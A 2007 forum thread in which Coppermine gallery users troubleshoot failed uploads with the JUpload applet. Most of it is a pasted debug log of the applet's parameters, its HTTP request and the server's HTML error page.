Any idea what's going on ?
Title: Re: Upload applet (JUpload)
Post by: choupette549 on July 11, 2007, 01:11:35 am
Hi Etienne,

I have some problem with jupload in version
2.5.6 or 2.5.7 and IE 7 on windows vista.
(not tried with 2.5.8 )

So, I have the following error when I click
on the jupload link :

(http://www.e-bookpro.com/error.jpg)
http://www.e-bookpro.com/error.jpg (http://www.e-bookpro.com/error.jpg)

But I have no problem with :

version 2.5.6 and 2.5.7 with netscape 7.1 and with firefox 2.0 on windows vista
version 2.5.6 and 2.5.7 with IE 7 on windows XP
version 2.4.4 on all the previous navigators on XP and vista

I'm using coppermine 1.4.10 with the security fix from version 1.4.12

Some idea ?
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 11, 2007, 11:20:02 am
I updated to 1.4.12 last nite and still using JUpload today with no problems ???

??? Also. It may be wrong diagnostic ... Or a problem due to the 2.5.7 version of JUpload ...

The important is: it works !

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 11, 2007, 12:03:03 pm
Hi

I have problems with the script. Every time when I try to upload some pictures (doesn't matter what size it is, it can be as small as 200KB) I'm getting message from java:

The only error in apache logs is:

Code: [Select]
[error] [client xx.xx.xx.xx] File does not exist: /home/soty/public_html/htdocs/galeria/wjhk
I'm using JUpload 2.5.8 with Coppermine 1.4.12. Standard upload works fine.
Any idea what's going on ?

1) You can ignore the apache log entry.
2) Can you try without Vista, to confirm Choupette anlysis ?
3) To analyse your problem, I need more information. Please enter the applet in debug mode, and send me the full generated output. To entre debug mode: do a CTRL + Right Click on the applet file list, and select 'Debug on'

Etienne
Title: Re: Upload applet (JUpload)
Post by: SotY on July 11, 2007, 06:13:32 pm
2) Can you try without Vista, to confirm Choupette anlysis ?

I don't use Vista. I'm using XP SP2 with IE6
3) To analyse your problem, I need more information. Please enter the applet in debug mode, and send me the full generated output. To entre debug mode: do a CTRL + Right Click on the applet file list, and select 'Debug on'

Here you go. I have to split this post for parts cause it will be too long.

Code: [Select]
11:05:39.375 [INFO] Debug level set to 0
11:05:39.750 [WARN] Invalid int value: , using default value: 0
11:05:39.750 [INFO] JUpload plugin for coppermine version 2.5.8
11:06:05.906 [INFO] Debug level set to 100
11:06:05.906 [DEBUG] =======================================================================
11:06:05.906 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
11:06:05.906 [INFO] JUpload applet, version 3.0.2b3 [SVN-Rev: 295] (05/07/2007 04:47 AM), available at http://jupload.sourceforge.net/
11:06:05.906 [DEBUG] Java version: 1.6.0_01
11:06:05.906 [DEBUG] Cookie: 1bd16da6bcb037c828b8defb497b9f7d=7994cda8cc668d5d658535a9b3cd85a5; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJiYjBjOTFlZTk5YjdlYTM5OTc3N2RmMWE5MjRhMGRmZiI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D
11:06:05.906 [DEBUG] userAgent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM)
11:06:05.906 [DEBUG] List of all applet parameters:
11:06:05.906 [DEBUG]   language: us
11:06:05.906 [DEBUG]   country:
11:06:05.906 [DEBUG] afterUploadURL: null
11:06:05.906 [DEBUG] allowHttpPersistent: false
11:06:05.906 [DEBUG] allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
11:06:05.906 [DEBUG] debug: 100
11:06:05.906 [DEBUG] filenameEncoding: null
11:06:05.906 [DEBUG] lang: us
11:06:05.906 [DEBUG] maxChunkSize: 9223372036854775807
11:06:05.921 [DEBUG] maxFileSize  : 9223372036854775807
11:06:05.921 [DEBUG] nbFilesPerRequest: 1
11:06:05.921 [DEBUG] postURL: http://mygallery.url.com/galeria/index.php?file=jupload/jupload&action=add_picture
11:06:05.921 [DEBUG] serverProtocol: HTTP/1.1
11:06:05.921 [DEBUG] showLogWindow: false
11:06:05.921 [DEBUG] specificHeaders: null
11:06:05.921 [DEBUG] stringUploadSuccess: SUCCESS
11:06:05.921 [DEBUG] stringUploadError: ERROR: (.*)
11:06:05.921 [DEBUG] urlToSendErrorTo: http://mygallery.url.com/galeria/index.php?file=jupload/jupload&action=log_error
11:06:05.921 [DEBUG]
11:06:05.921 [DEBUG] ======= Parameters managed by PictureUploadPolicy
11:06:05.921 [DEBUG] highQualityPreview : false
11:06:05.921 [DEBUG] pictureCompressionQuality : 0.9
11:06:05.921 [DEBUG] maxPicWidth : 10240, maxPicHeight : 10240
11:06:05.921 [DEBUG] realMaxPicWidth : 2048, realMaxPicHeight : 2048
11:06:05.921 [DEBUG] storeBufferedImage : false
11:06:05.921 [DEBUG] targetPictureFormat : null
11:06:05.921 [DEBUG]
11:06:05.921 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
11:06:05.921 [DEBUG] albumId : 2
11:06:05.921 [DEBUG]
11:06:08.984 [DEBUG] Action : Upload
11:06:08.984 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
11:06:09.000 [DEBUG] Timer started
11:06:09.171 [DEBUG] PicturePanel.paint(): offscreenImage is null
11:06:09.671 [DEBUG] freeMemory (after hasToTransformPicture) : 29984336
11:06:09.687 [DEBUG] IMG_2582.JPG : hasToTransformPicture = false
11:06:10.234 [DEBUG] freeMemory (after hasToTransformPicture) : 30780920
11:06:10.234 [DEBUG] IMG_2583.JPG : hasToTransformPicture = false
11:06:10.734 [DEBUG] freeMemory (after hasToTransformPicture) : 30773744
11:06:10.734 [DEBUG] IMG_2584.JPG : hasToTransformPicture = false
11:06:11.250 [DEBUG] freeMemory (after hasToTransformPicture) : 30781112
11:06:11.250 [DEBUG] IMG_2585.JPG : hasToTransformPicture = false
11:06:11.750 [DEBUG] freeMemory (after hasToTransformPicture) : 30774600
11:06:11.750 [DEBUG] IMG_2586.JPG : hasToTransformPicture = false
11:06:11.750 [DEBUG] file 0: content=4683887 bytes, getAdditionnalBytesForUpload=822 bytes
11:06:11.750 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
11:06:11.750 [DEBUG] Cookie: 1bd16da6bcb037c828b8defb497b9f7d=7994cda8cc668d5d658535a9b3cd85a5; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJiYjBjOTFlZTk5YjdlYTM5OTc3N2RmMWE5MjRhMGRmZiI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D
11:06:11.750 [DEBUG] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM)
11:06:11.750 [DEBUG] Using non SSL socket, direct connection
11:06:11.859 [DEBUG] === main header (len=1059):
11:06:11.859 [DEBUG] POST /galeria/index.php?file=jupload/jupload&action=add_picture&album=2 HTTP/1.1\r\n
11:06:11.859 [DEBUG] Host: mygallery.url.com\r\n
11:06:11.859 [DEBUG] Accept: */*\r\n
11:06:11.859 [DEBUG] Accept-Encoding: identity\r\n
11:06:11.859 [DEBUG] Connection: close\r\n
11:06:11.859 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Length: 4685111\r\n
11:06:11.859 [DEBUG] Cookie: 1bd16da6bcb037c828b8defb497b9f7d=7994cda8cc668d5d658535a9b3cd85a5; coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJiYjBjOTFlZTk5YjdlYTM5OTc3N2RmMWE5MjRhMGRmZiI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D\r\n
11:06:11.859 [DEBUG] User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM)\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Disposition: form-data; name="file"\r\n
11:06:11.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] jupload/jupload\r\n
11:06:11.859 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Disposition: form-data; name="album"\r\n
11:06:11.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] 2\r\n
11:06:11.859 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Disposition: form-data; name="action"\r\n
11:06:11.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] add_picture\r\n
11:06:11.859 [DEBUG] === main header end
11:06:11.859 [DEBUG] --- fileheader start (len=616):
11:06:11.859 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Disposition: form-data; name="mimetype[]"\r\n
11:06:11.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] image/jpeg\r\n
11:06:11.859 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Disposition: form-data; name="pathinfo[]"\r\n
11:06:11.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] C:\Documents and Settings\SotY\My Documents\My Pictures\2007_06_13\r\n
11:06:11.859 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Disposition: form-data; name="relpathinfo[]"\r\n
11:06:11.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:11.859 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="IMG_2582.JPG"\r\n
11:06:11.859 [DEBUG] Content-Type: image/jpeg\r\n
11:06:11.859 [DEBUG] \r\n
11:06:11.859 [DEBUG] --- fileheader end
11:06:11.875 [DEBUG] in UploadFileData.uploadFile (amount:4683887, getUploadLength(): 4683887)
11:06:41.578 [DEBUG] --- filetail start (len=206):
11:06:41.578 [DEBUG] \r\n
11:06:41.578 [DEBUG] -----------------------------nvig3ia7o5m\r\n
11:06:41.578 [DEBUG] Content-Disposition: form-data; name="md5sum[]"\r\n
11:06:41.578 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
11:06:41.578 [DEBUG] \r\n
11:06:41.578 [DEBUG] 095008455bff8a137d0c015f859cce6b\r\n
11:06:41.578 [DEBUG] -----------------------------nvig3ia7o5m--\r\n
11:06:41.578 [DEBUG] --- filetail end
11:06:42.046 [DEBUG] -------- Response Headers Start --------
11:06:42.046 [DEBUG] HTTP/1.1 200 OK
11:06:42.046 [DEBUG] Date: Wed, 11 Jul 2007 16:06:10 GMT
11:06:42.062 [DEBUG] Server: Apache/2.2.3 (Debian) DAV/2 SVN/1.4.2 mod_fastcgi/2.4.2 mod_jk/1.2.18 mod_python/3.2.10 Python/2.4.4 proxy_html/2.5 mod_ruby/1.2.6 Ruby/1.8.5(2006-08-25) mod_perl/2.0.2 Perl/v5.8.8
11:06:42.062 [DEBUG] X-Powered-By: PHP/5.2.0-8+etch4
11:06:42.062 [DEBUG] P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
11:06:42.062 [DEBUG] Set-Cookie: 38abe662f62b7ce6e0a24052c383bcd0=5fcf9589ae1344079e2530888b1e785d; expires=Wed, 25-Jul-2007 16:06:40 GMT; path=/
11:06:42.062 [DEBUG] Set-Cookie: coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiJiYjBjOTFlZTk5YjdlYTM5OTc3N2RmMWE5MjRhMGRmZiI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; expires=Fri, 10-Aug-2007 16:06:40 GMT; path=/
11:06:42.062 [DEBUG] Vary: Accept-Encoding
11:06:42.062 [DEBUG] Connection: close
11:06:42.062 [DEBUG] Transfer-Encoding: chunked
11:06:42.062 [DEBUG] Content-Type: text/html; charset=utf-8
11:06:42.062 [DEBUG]
11:06:42.062 [DEBUG] --------- Response Headers End ---------
11:06:42.062 [DEBUG] Chunk: 404d dec: 16461
11:06:42.281 [DEBUG] Chunk: 0 dec: 0
11:06:42.281 [DEBUG] HTTP status: 200 OK
11:06:42.281 [DEBUG] No error message found in HTTP response body
11:06:42.281 [ERROR] Upload stopped with errors
11:06:42.281 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
11:06:42.281 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:559)
11:06:42.281 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:687)
11:06:42.281 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
11:06:42.281 [DEBUG] -------- Response Body Start --------
11:06:42.281 [DEBUG] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
11:06:42.281 [DEBUG] <html dir="ltr">
11:06:42.281 [DEBUG] <head>
11:06:42.281 [DEBUG] <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
11:06:42.281 [DEBUG] <meta http-equiv="Pragma" content="no-cache" />
11:06:42.281 [DEBUG] <title>SotY Photo Gallery - Error</title>
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG] <link rel="stylesheet" href="themes/rainy_day/style.css" type="text/css" />
11:06:42.281 [DEBUG] <script type="text/javascript" src="scripts.js"></script>
11:06:42.281 [DEBUG] <!-- $Id: template.html 2688 2005-12-04 03:22:35Z donnoman $ -->
11:06:42.281 [DEBUG] </head>
11:06:42.281 [DEBUG] <body>
11:06:42.281 [DEBUG]   
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG]   <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]     <tr>
11:06:42.281 [DEBUG]       <td>
11:06:42.281 [DEBUG]         <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]           <tr>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r1_c1.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="53" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td width="100%" style="background-image:url(themes/rainy_day/images/template_r1_c5.gif)">
11:06:42.281 [DEBUG]                 <div class="topmenu">
11:06:42.281 [DEBUG]           <table border="0" cellpadding="0" cellspacing="0">
11:06:42.281 [DEBUG]                   <tr>
11:06:42.281 [DEBUG]   <!-- BEGIN home -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="index.php" title="Go to the home page">Home</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END home --><!-- BEGIN login -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="login.php?referer=index.php%3Ffile%3Djupload%2Fjupload%26action%3Dadd_picture%26album%3D2" title="Log me in">Login</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END login -->
11:06:42.281 [DEBUG]                   </tr>
11:06:42.281 [DEBUG]           </table>
11:06:42.281 [DEBUG]   </div>
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r1_c6.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="53" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]           </tr>
11:06:42.281 [DEBUG]         </table>
11:06:42.281 [DEBUG]       </td>
11:06:42.281 [DEBUG]     </tr>
11:06:42.281 [DEBUG]     <tr>
11:06:42.281 [DEBUG]       <td>
11:06:42.281 [DEBUG]         <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]           <tr>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r2_c1.gif);background-repeat:repeat-y">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="18" height="57" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td width="100%" style="background-image:url(themes/rainy_day/images/template_r2_c2.gif)">
11:06:42.281 [DEBUG]               <table border="0" width="100%" cellspacing="5" cellpadding="0">
11:06:42.281 [DEBUG]                 <tr>
11:06:42.281 [DEBUG]                   <td>
11:06:42.281 [DEBUG]                     <h1>&nbsp;SotY Photo Gallery</h1>
11:06:42.281 [DEBUG]                   </td>
11:06:42.281 [DEBUG]                   <td align="left">
11:06:42.281 [DEBUG]                     
11:06:42.281 [DEBUG] <form name="cpgChooseLanguage" id="cpgChooseLanguage" action="index.php" method="get" style="margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;display:inline">
11:06:42.281 [DEBUG] <select name="cpgLanguageSelect" class="listbox_lang" onchange="if (this.options[this.selectedIndex].value) window.location.href='index.php?file=jupload/jupload&amp;action=add_picture&amp;album=2&amp;lang=' + this.options[this.selectedIndex].value;">
11:06:42.281 [DEBUG] <option selected="selected">Choose your language</option>
11:06:42.281 [DEBUG] <option value="albanian" >Albanian</option>
11:06:42.281 [DEBUG] <option value="arabic" >Arabic (&#1575;&#1604;&#1593;&#1585;&#1576;&#1610;&#1577;)</option>
11:06:42.281 [DEBUG] <option value="basque" >Basque (Euskera)</option>
Title: Re: Upload applet (JUpload)
Post by: SotY on July 11, 2007, 06:14:35 pm
2nd part:

Code: [Select]
11:06:42.281 [DEBUG] <option value="brazilian_portuguese" >Portuguese [Brazilian] (Portugu&ecirc;s Brasileiro)</option>
11:06:42.281 [DEBUG] <option value="bulgarian" >Bulgarian (&#1041;&#1098;&#1083;&#1075;&#1072;&#1088;&#1089;&#1082;&#1080;)</option>
11:06:42.281 [DEBUG] <option value="chinese_big5" >Chinese traditional (&#20013;&#25991; - &#32321;&#39636;)</option>
11:06:42.281 [DEBUG] <option value="chinese_gb" >Chinese simplified (&#20013;&#25991; - &#31616;&#20307;)</option>
11:06:42.281 [DEBUG] <option value="czech" >Czech (&#x010C;esky)</option>
11:06:42.281 [DEBUG] <option value="danish" >Danish (Dansk)</option>
11:06:42.281 [DEBUG] <option value="dutch" >Dutch (Nederlands)</option>
11:06:42.281 [DEBUG] <option value="english" >English(US)*</option>
11:06:42.281 [DEBUG] <option value="english_gb" >English(British)</option>
11:06:42.281 [DEBUG] <option value="finnish" >Finnish (Suomea)</option>
11:06:42.281 [DEBUG] <option value="french" >French (Fran&ccedil;ais)</option>
11:06:42.281 [DEBUG] <option value="galician" >Galician (Galego)</option>
11:06:42.281 [DEBUG] <option value="georgian" >Georgian (&#4325;&#4304;&#4320;&#4311;&#4323;&#4314;&#4312;)</option>
11:06:42.281 [DEBUG] <option value="german" >German (Deutsch)</option>
11:06:42.281 [DEBUG] <option value="german_sie" >German_sie</option>
11:06:42.281 [DEBUG] <option value="greek" >Greek (&#917;&#955;&#955;&#951;&#957;&#953;&#954;&#940;)</option>
11:06:42.281 [DEBUG] <option value="hebrew" >Hebrew (&#1506;&#1489;&#1512;&#1497;&#1514;)</option>
11:06:42.281 [DEBUG] <option value="hindi" >Hindi (&#2361;&#2367;&#2344;&#2381;&#2342;&#2368;)</option>
11:06:42.281 [DEBUG] <option value="hungarian" >Hungarian (Magyarul)</option>
11:06:42.281 [DEBUG] <option value="indonesian" >Indonesian (Bahasa Indonesia)</option>
11:06:42.281 [DEBUG] <option value="italian" >Italian (Italiano)</option>
11:06:42.281 [DEBUG] <option value="japanese" >Japanese (&#26085;&#26412;&#35486;)</option>
11:06:42.281 [DEBUG] <option value="korean" >Korean (&#54620;&#44397;&#50612;)</option>
11:06:42.281 [DEBUG] <option value="lithuanian" >Lithuanian (Lietuvi&#0353;kai)</option>
11:06:42.281 [DEBUG] <option value="norwegian" >Norwegian (Norsk)</option>
11:06:42.281 [DEBUG] <option value="persian" >Persian (&#1601;&#1575;&#1585;&#1587;&#1740;)</option>
11:06:42.281 [DEBUG] <option value="polish" >Polish (Polski)</option>
11:06:42.281 [DEBUG] <option value="portuguese" >Portuguese [Portugal] (Portugu&ecirc;s)</option>
11:06:42.281 [DEBUG] <option value="russian" >Russian (&#1056;&#1091;&#1089;&#1089;&#1082;&#1080;&#1081;)</option>
11:06:42.281 [DEBUG] <option value="slovak" >Slovak (Slovensky)</option>
11:06:42.281 [DEBUG] <option value="slovenian" >Slovenian (Slovensko)</option>
11:06:42.281 [DEBUG] <option value="spanish" >Spanish (Espa&ntilde;ol)</option>
11:06:42.281 [DEBUG] <option value="swedish" >Swedish (Svenska)</option>
11:06:42.281 [DEBUG] <option value="thai" >Thai (&#3652;&#3607;&#3618;)</option>
11:06:42.281 [DEBUG] <option value="turkish" >Turkish (T&uuml;rk&ccedil;e)</option>
11:06:42.281 [DEBUG] <option value="ukrainian" >Ukrainian (&#1059;&#1082;&#1088;&#1072;&#1111;&#1085;&#1089;&#1100;&#1082;&#1072;)</option>
11:06:42.281 [DEBUG] <option value="vietnamese" >Vietnamese (Tieng Viet)</option>
11:06:42.281 [DEBUG] <option value="xxx">Default language</option>
11:06:42.281 [DEBUG] </select>
11:06:42.281 [DEBUG] </form>
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG]                   </td>
11:06:42.281 [DEBUG]                 </tr>
11:06:42.281 [DEBUG]               </table>
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r2_c10.gif);background-repeat:repeat-y">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="16" height="57" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]           </tr>
11:06:42.281 [DEBUG]         </table>
11:06:42.281 [DEBUG]       </td>
11:06:42.281 [DEBUG]     </tr>
11:06:42.281 [DEBUG]     <tr>
11:06:42.281 [DEBUG]       <td>
11:06:42.281 [DEBUG]         <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]           <tr>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r3_c1.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="560" height="67" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td width="100%" style="background-image:url(themes/rainy_day/images/template_r3_c7.gif)" align="right">
11:06:42.281 [DEBUG]               
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r3_c9.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="67" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]           </tr>
11:06:42.281 [DEBUG]         </table>
11:06:42.281 [DEBUG]       </td>
11:06:42.281 [DEBUG]     </tr>
11:06:42.281 [DEBUG]     <tr>
11:06:42.281 [DEBUG]       <td>
11:06:42.281 [DEBUG]         <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]           <tr>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r4_c1.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="26" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td width="100%" align="right" style="background-image:url(themes/rainy_day/images/template_r4_c3.gif)">
11:06:42.281 [DEBUG]                 <div class="topmenu">
11:06:42.281 [DEBUG]           <table border="0" cellpadding="0" cellspacing="0">
11:06:42.281 [DEBUG]                   <tr>
11:06:42.281 [DEBUG]   <!-- BEGIN album_list -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="index.php" title="Go to the album list">Album list</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END album_list --><!-- BEGIN lastup -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="thumbnails.php?album=lastup" title="Show most recent uploads">Last uploads</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END lastup --><!-- BEGIN lastcom -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="thumbnails.php?album=lastcom" title="Show most recent comments">Last comments</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END lastcom --><!-- BEGIN topn -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="thumbnails.php?album=topn" title="Show most viewed items">Most viewed</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END topn --><!-- BEGIN toprated -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="thumbnails.php?album=toprated" title="Show top rated items">Top rated</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END toprated --><!-- BEGIN favpics -->
11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="thumbnails.php?album=favpics" title="Go to my favorites">My Favorites</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END favpics --><!-- BEGIN search -->
